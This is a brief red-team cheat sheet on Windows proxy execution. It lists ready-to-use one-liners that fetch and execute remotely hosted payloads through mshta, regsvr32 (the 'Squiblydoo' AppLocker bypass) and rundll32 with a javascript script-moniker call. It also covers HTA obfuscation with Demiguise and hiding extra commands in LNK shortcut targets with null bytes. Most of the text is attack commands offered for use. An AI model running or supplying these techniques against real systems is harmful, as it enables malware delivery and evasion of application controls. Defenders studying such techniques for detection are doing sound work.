Proxy Execution
Some fun with proxy execution and lol!
Main Resource
https://lolbas-project.github.io/#/execute
HTML Application (HTA)
Can be in a variety of languages, can be hosted remotely or pulled from local disk, and is executed by mshta.
mshta.exe HOSTEDPAYLOAD.hta
Demiguise can be used for additional obfuscation on an HTA.
Regsvr32/Squiblydoo
Can pull files from the Internet, proxy-aware, memory-execution, and bypasses AppLocker!
regsvr32 /s /n /u /i:HOSTEDPAYLOAD scrobj.dll
Rundll32
Can execute DLLs (of course), scripts and CPL files. It can also run right off an SMB share.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:HOSTEDPAYLOAD")
Shortcuts
Shortcut targets display only 255 characters but have space for 1024. This means that we can use null bytes to hide additional execution in an LNK file.